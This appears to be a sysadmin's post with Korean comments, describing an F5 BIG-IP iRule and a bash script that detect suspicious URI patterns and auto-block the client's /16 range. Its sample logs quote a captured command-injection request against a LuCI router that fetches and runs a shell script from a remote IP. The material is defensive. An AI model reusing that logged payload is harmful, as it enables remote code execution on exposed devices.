when HTTP_REQUEST {
# X-Forwarded-For 헤더에서 클라이언트 IP 목록 추출
set xff [HTTP::header "X-Forwarded-For"]
set xff_count [llength [split $xff ","]]
# X-Forwarded-For 헤더에 있는 IP 주소 개수 확인
if { $xff_count == 3 } {
log local0. "X-Forwarded-For has 3 entries: $xff"
# 필요한 처리 수행 (예: 특정 동작 추가)
} elseif { $xff_count == 2 } {
log local0. "X-Forwarded-For has 2 entries: $xff"
# 필요한 처리 수행 (예: 다른 동작 추가)
} else {
log local0. "X-Forwarded-For does not have 2 or 3 entries: $xff"
}
# 클라이언트 IP를 첫 번째 X-Forwarded-For 헤더 값으로 설정
set client_ip [lindex [split $xff ","] 0]
# HTTP 요청에서 URI 추출
set uri [HTTP::uri]
# 의심스러운 패턴 목록 (CSRF, SSRF, CORS 관련 모든 패턴)
set suspicious_patterns {http:// https:// ftp:// file:// smb:// localhost 127.0.0.1 %3c %3e %27 %22 %25}
# URI에서 의심스러운 패턴 탐지
foreach pattern $suspicious_patterns {
if {[string tolower $uri] contains $pattern} {
# 의심스러운 요청 탐지 시 로그 기록
log local0. "Suspicious request detected: $uri from IP: $client_ip"
# 클라이언트 IP의 앞 두 옥텟을 추출하여 16bit CIDR로 변환
set cidr_ip [join [lrange [split $client_ip "."] 0 1] .]
append cidr_ip ".0.0/16"
# 의심스러운 IP CIDR 형식으로 로그 기록
log local0. "Add to Data Group: $cidr_ip"
# 요청을 차단
reject
}
}
}
매 1분마다 /var/log/ltm의 로그를 확인 후 감지된 IP 대역을 16bit로 변환 후 CIDR로 자동 차단 수행
#!/bin/bash
# Log file location
logfile="/var/log/ltm"
# Data Group name
data_group="ip-deny-lists"
# Extract suspicious requests from the log and add the client IP to the Data Group
grep -E 'http://|https://|ftp://|file://|localhost|127.0.0.1' $logfile | while read -r line ; do
# Extract the client IP (assuming it's in the format 'Client <IP>:<Port>')
client_ip=$(echo $line | awk -F' ' '{for(i=1;i<=NF;i++) if ($i ~ /Client/) {print $(i+1)}}' | awk -F':' '{print $1}')
# Convert the client IP to 16-bit CIDR (e.g., '192.168.x.x' becomes '192.168.0.0/16')
if [[ ! -z "$client_ip" ]]; then
cidr_ip=$(echo $client_ip | awk -F'.' '{print $1 "." $2 ".0.0/16"}')
# Check if the CIDR is already in the Data Group (avoid duplicate entries)
if ! tmsh list ltm data-group internal $data_group | grep -q "$cidr_ip"; then
# Add the CIDR IP to the Data Group
tmsh modify ltm data-group internal $data_group records add { $cidr_ip }
echo "Added $cidr_ip to $data_group"
else
echo "$cidr_ip is already in $data_group"
fi
fi
done
Oct 1 15:00:02 f5.yongbok.net info tmm1[20498]: Rule /Common/X-Forwarded-For <HTTP_REQUEST>: =============================================
Oct 1 15:00:02 f5.yongbok.net info tmm1[20498]: Rule /Common/X-Forwarded-For <HTTP_REQUEST>: Client 95.214.55.43:51008 -> 211.46.62.52:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$
(id%3E%60wget+-O-+http%3A%2F%2F154.216.17.176%2Ft%7Csh%3B%60) (request)
Oct 1 15:00:02 f5.yongbok.net info tmm1[20498]: Rule /Common/X-Forwarded-For <HTTP_REQUEST>: Host: 211.46.62.52:80
Oct 1 15:00:02 f5.yongbok.net info tmm1[20498]: Rule /Common/X-Forwarded-For <HTTP_REQUEST>: User-Agent: Go-http-client/1.1
Oct 1 15:00:02 f5.yongbok.net info tmm1[20498]: Rule /Common/X-Forwarded-For <HTTP_REQUEST>: X-Forwarded-For: 95.214.55.43, 95.214.55.43
Oct 1 15:00:02 f5.yongbok.net info tmm1[20498]: Rule /Common/X-Forwarded-For <HTTP_REQUEST>: =============================================
Oct 1 15:00:02 f5.yongbok.net info tmm1[20498]: Rule /Common/request-csrf-ssrf-cors-deny <HTTP_REQUEST>: Suspicious request detected: /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.17.176%2Ft%7Csh%3B%60) from IP: 95.214.55.43
Oct 1 15:00:02 f5.yongbok.net info tmm1[20498]: Rule /Common/request-csrf-ssrf-cors-deny <HTTP_REQUEST>: Add to Data Group: 95.214.0.0/16
Oct 1 15:01:48 f5.yongbok.net info tmm[20498]: Rule /Common/X-Forwarded-For <HTTP_REQUEST>: =============================================
[root@f5:PREFER afm PROVISION:ModuleNotLicensed::Active:Standalone] ~ # ./csrf-ssrf-cors-dey.sh
Added 45.84.0.0/16 to ip-deny-lists
Added 185.224.0.0/16 to ip-deny-lists
185.224.0.0/16 is already in ip-deny-lists
Added 89.187.0.0/16 to ip-deny-lists
89.187.0.0/16 is already in ip-deny-lists
Added 197.33.0.0/16 to ip-deny-lists
Added 1.146.0.0/16 to ip-deny-lists
Added 34.64.0.0/16 to ip-deny-lists
185.224.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists